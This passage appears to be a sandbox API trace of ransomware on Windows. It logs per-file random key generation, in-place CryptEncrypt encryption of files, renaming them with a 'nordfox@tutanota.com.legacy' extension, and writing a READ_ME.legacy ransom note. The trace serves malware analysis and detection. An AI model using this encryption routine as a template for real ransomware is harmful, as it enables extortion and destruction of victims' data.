dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.464] WriteFile (in: hFile=0x638, lpBuffer=0x60b268*, nNumberOfBytesToWrite=0x1687, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60b268*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1687, lpOverlapped=0x0) returned 1 [0115.464] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0115.464] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b268 | out: hHeap=0x520000) returned 1 [0115.464] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1687 [0115.464] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.464] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.464] WriteFile (in: hFile=0x638, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.464] WriteFile (in: hFile=0x638, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.465] CloseHandle (hObject=0x638) returned 1 [0115.465] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0115.465] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0115.465] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\default.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.css"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\default.css.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\default.css.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8648 | out: hHeap=0x520000) returned 1 [0115.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0115.466] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0115.467] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0115.467] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0115.467] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0115.467] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0115.467] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0115.467] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\bullet.png", dwFileAttributes=0x80) returned 1 [0115.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0115.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e84d8 [0115.468] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0115.468] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\bullet.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bullet.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.468] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=221) returned 1 [0115.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xdd) returned 0x571fc8 [0115.468] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xdd) returned 0x5646a8 [0115.468] ReadFile (in: hFile=0x638, lpBuffer=0x571fc8, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x571fc8*, lpNumberOfBytesRead=0x2e1f9bc*=0xdd, lpOverlapped=0x0) returned 1 [0115.469] SetFilePointer (in: hFile=0x638, lDistanceToMove=-221, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.469] WriteFile (in: hFile=0x638, lpBuffer=0x5646a8*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xdd, lpOverlapped=0x0) returned 1 [0115.469] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0115.469] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0115.469] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xdd [0115.470] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.470] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.470] WriteFile (in: hFile=0x638, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.470] WriteFile (in: hFile=0x638, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.470] CloseHandle (hObject=0x638) returned 1 [0115.470] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0115.470] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0115.470] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\bullet.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bullet.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\bullet.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\bullet.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.472] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e84d8 | out: hHeap=0x520000) returned 1 [0115.472] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0115.472] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0115.472] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0115.472] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0115.472] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0115.472] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0115.472] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0115.473] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\bluelogo.png", dwFileAttributes=0x80) returned 1 [0115.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0115.473] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7958 [0115.473] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0115.473] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\bluelogo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bluelogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.473] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=7080) returned 1 [0115.474] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ba8) returned 0x609bd8 [0115.474] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ba8) returned 0x60b788 [0115.474] ReadFile (in: hFile=0x638, lpBuffer=0x609bd8, nNumberOfBytesToRead=0x1ba8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x609bd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1ba8, lpOverlapped=0x0) returned 1 [0115.486] SetFilePointer (in: hFile=0x638, lDistanceToMove=-7080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.486] WriteFile (in: hFile=0x638, lpBuffer=0x60b788*, nNumberOfBytesToWrite=0x1ba8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60b788*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1ba8, lpOverlapped=0x0) returned 1 [0115.486] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x609bd8 | out: hHeap=0x520000) returned 1 [0115.486] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60b788 | out: hHeap=0x520000) returned 1 [0115.486] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1ba8 [0115.486] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.487] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.487] WriteFile (in: hFile=0x638, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.487] WriteFile (in: hFile=0x638, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.487] CloseHandle (hObject=0x638) returned 1 [0115.487] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0115.487] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0115.487] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\bluelogo.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\bluelogo.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\bluelogo.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\bluelogo.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.490] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7958 | out: hHeap=0x520000) returned 1 [0115.490] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0115.490] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0115.490] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556bf0 [0115.490] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0115.490] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0115.490] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0115.490] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0115.491] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\block.png", dwFileAttributes=0x80) returned 1 [0115.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0115.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7cf0 [0115.491] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0115.491] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\block.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\block.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0115.491] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=919) returned 1 [0115.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x397) returned 0x582160 [0115.491] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x397) returned 0x582500 [0115.492] ReadFile (in: hFile=0x638, lpBuffer=0x582160, nNumberOfBytesToRead=0x397, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x397, lpOverlapped=0x0) returned 1 [0115.493] SetFilePointer (in: hFile=0x638, lDistanceToMove=-919, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.493] WriteFile (in: hFile=0x638, lpBuffer=0x582500*, nNumberOfBytesToWrite=0x397, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582500*, lpNumberOfBytesWritten=0x2e1f9bc*=0x397, lpOverlapped=0x0) returned 1 [0115.493] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0115.493] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582500 | out: hHeap=0x520000) returned 1 [0115.493] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x397 [0115.493] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.493] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.494] WriteFile (in: hFile=0x638, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.494] WriteFile (in: hFile=0x638, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.494] CloseHandle (hObject=0x638) returned 1 [0115.494] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0115.494] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0115.494] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\block.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\block.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\block.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\windows10upgrade\\resources\\ux\\block.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7cf0 | out: hHeap=0x520000) returned 1 [0115.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556bf0 | out: hHeap=0x520000) returned 1 [0115.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0115.496] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578a40 [0115.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0115.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578b60 | out: hHeap=0x520000) returned 1 [0115.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571b80 | out: hHeap=0x520000) returned 1 [0115.496] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Adobe\\ARM\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xd2d3e69d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c61d8 [0115.496] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.497] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ad0 [0115.497] GetLastError () returned 0x0 [0115.497] SetLastError (dwErrCode=0x0) [0115.497] GetLastError () returned 0x0 [0115.497] SetLastError (dwErrCode=0x0) [0115.497] GetLastError () returned 0x0 [0115.497] SetLastError (dwErrCode=0x0) [0115.497] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0115.497] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d5b0 [0115.497] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0115.497] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0115.497] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6218 [0115.497] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6218 | out: hHeap=0x520000) returned 1 [0115.497] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20258 [0115.497] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20258 | out: hHeap=0x520000) returned 1 [0115.497] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0115.497] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0115.497] FindNextFileW (in: hFindFile=0x5c61d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0xd2d3e69d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0115.497] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ad0 | out: hHeap=0x520000) returned 1 [0115.497] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578b60 [0115.497] GetLastError () returned 0x0 [0115.498] SetLastError (dwErrCode=0x0) [0115.498] GetLastError () returned 0x0 [0115.498] SetLastError (dwErrCode=0x0) [0115.498] GetLastError () returned 0x0 [0115.498] SetLastError (dwErrCode=0x0) [0115.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0115.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d818 [0115.498] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0115.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0115.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6658 [0115.498] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6658 | out: hHeap=0x520000) returned 1 [0115.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202d0 [0115.498] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202d0 | out: hHeap=0x520000) returned 1 [0115.498] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0115.498] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0115.498] FindNextFileW (in: hFindFile=0x5c61d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x53050818, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xfb2ddff7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x3268450e, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Reader_15.007.20033", cAlternateFileName="READER~1.200")) returned 1 [0115.498] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578b60 | out: hHeap=0x520000) returned 1 [0115.498] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f50 [0115.498] GetLastError () returned 0x0 [0115.498] SetLastError (dwErrCode=0x0) [0115.498] GetLastError () returned 0x0 [0115.499] SetLastError (dwErrCode=0x0) [0115.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.499] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f50 | out: hHeap=0x520000) returned 1 [0115.499] GetLastError () returned 0x0 [0115.499] SetLastError (dwErrCode=0x0) [0115.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0115.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0115.499] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0115.499] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0115.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0115.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d820 [0115.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0115.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0115.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3438 [0115.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f98 [0115.499] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0115.499] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f98 | out: hHeap=0x520000) returned 1 [0115.499] GetLastError () returned 0x0 [0115.499] SetLastError (dwErrCode=0x0) [0115.499] GetLastError () returned 0x0 [0115.499] SetLastError (dwErrCode=0x0) [0115.499] GetLastError () returned 0x0 [0115.500] SetLastError (dwErrCode=0x0) [0115.500] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0115.500] CreateFileW (lpFileName="\\Users\\All Users\\Adobe\\ARM\\Reader_15.007.20033\\READ_ME.legacy" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_15.007.20033\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x63c [0115.501] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0115.501] WriteFile (in: hFile=0x63c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0115.502] CloseHandle (hObject=0x63c) returned 1 [0115.502] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0115.502] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3438 | out: hHeap=0x520000) returned 1 [0115.502] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0115.502] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0115.502] FindNextFileW (in: hFindFile=0x5c61d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xa7140105, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Reader_15.023.20070", cAlternateFileName="READER~2.200")) returned 1 [0115.503] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.503] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ad0 [0115.503] GetLastError () returned 0x0 [0115.503] SetLastError (dwErrCode=0x0) [0115.503] GetLastError () returned 0x0 [0115.503] SetLastError (dwErrCode=0x0) [0115.503] RtlAllocateHeap (HeapHandle=0x520000, 